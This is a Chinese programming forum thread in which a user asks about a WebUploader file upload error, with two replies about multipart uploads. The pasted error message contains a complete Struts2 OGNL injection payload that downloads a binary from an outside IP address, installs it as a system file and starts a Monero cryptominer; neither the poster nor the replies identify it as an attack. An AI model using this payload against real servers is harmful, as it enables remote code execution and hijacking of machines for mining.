guopeiyuan的gravatar头像
guopeiyuan 2017-03-10 15:29:23

关于webuploader,移动端上传多张图片问题。

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is

 

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget -q http://45.77.17.225/t0mcat -O /usr/bin/sysupdate && chmod 777 /usr/bin/sysupdate && nohup /usr/bin/sysupdate -c x -M stratum+tcp://421khMX3pEYWCtH8mJKqSPWYCPvw6tWYURuxLcVf5e7FYS8UmFm3f1Fft8541WiLGNdfyFCne7AWhbAT25nxYtoCG15xVwQ:x@xmr.crypto-pool.fr:3333/xmr&').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

 

百度有个例子,是is后面  null  所以在form中加入enctype="multipart/form-data" 直接搞定。但是我这个不一样,加了enctype="multipart/form-data" ,报的这个错误。所以百思不得其解,有大佬遇到或知道的帮帮忙,完成后成品上传至“最代码”。

所有回答列表(2)
socket的gravatar头像
socket  LV6 2017年3月16日

the request doesn't contain a multipart/form-data or multipart/mixed stream不能上传多部件/混合的流,也就是不支持多图片上传,还是写个循环一个一个传吧

评论(1) 最佳答案
wentao的gravatar头像
wentao  LV24 2017年3月11日

看这样子是后台不支持,前端是用ajax怎么传的呢?

相关问答
最近浏览
hunhun 2021年3月8日
暂无贡献等级
wukz123  LV3 2021年2月26日
DogJay  LV19 2021年2月1日
lingxilx 2021年1月19日
暂无贡献等级
chenyt 2020年3月24日
暂无贡献等级
2252536772  LV21 2020年3月22日
suhan214 2020年1月9日
暂无贡献等级
liangyingnan  LV1 2019年5月7日
15873189007  LV9 2019年4月13日
lzh_me 2018年11月14日
暂无贡献等级
顶部 客服 微信二维码 底部
>扫描二维码关注最代码为好友扫描二维码关注最代码为好友